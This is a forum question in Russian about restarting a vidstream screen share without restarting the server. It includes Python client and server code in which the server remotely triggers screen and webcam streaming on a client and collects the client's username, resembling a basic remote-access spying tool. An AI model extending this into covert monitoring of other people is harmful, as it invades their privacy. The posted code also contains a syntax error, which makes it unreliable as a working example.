kirashoo42
@kirashoo42

Как завершить трансляцию экрана с возможностью снова подключиться?

у меня есть созданная команда "screen" которая запускает трансляцию экрана с помощью модуля vidstream
я хочу что бы в нужный мне момент я просто выключил трансляцию
мне удалось это сделать но при повторном подключении выдало ошибку, понятным языком -> (вы пытаюсь создать соединение которое уже сами же запустили)

я просто хочу снова запустить трансляцию но при этом не перезапускать сервер

#server code

import socket
from vidstream import *
import sys

host = socket.gethostbyname(socket.gethostname())
port = 6457

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host, port))
server.listen(3)

client, address = server.accept()
network_name = client.recv(1024).decode("utf-8")

print(f"[+] {address[0]} ({address[1]} | name: {network_name})")

server_stream = StreamingServer(host, 9999)
server_stream.start_server()
print("[~] Сервер успешно запушен)")

while True:
	cmd = input(f"{address[0]}@{network_name}~#")

	if cmd == "screen":
		client.send(cmd.encode("utf-8"))
	"""
	elif cmd == "screenstop":
		server_stream.stop_server() # отключает трансляцию, при повторном подключении выдает ошибку которую я описал выше
	"""

	elif cmd == "webcam":
		client.send(cmd.encode("utf-8"))


#client code

import socket
import getpass
from vidstream import ScreenShareClient
from vidstream import CameraClient

host = socket.gethostbyname(socket.gethostname())
port = 6457
stream = ScreenShareClient(host, 9999)

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.connect((host, port))
server.send(str(getpass.getuser()).encode("utf-8"))

while True:
	data = server.recv(1024).decode("utf-8")

	if data == "screen":
		screen = stream
		screen.start_stream()
	elif data == "webcam":
		camera = CameraClient(host, 9999)
		camera.start_stream()
  • Вопрос задан
  • 160 просмотров
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы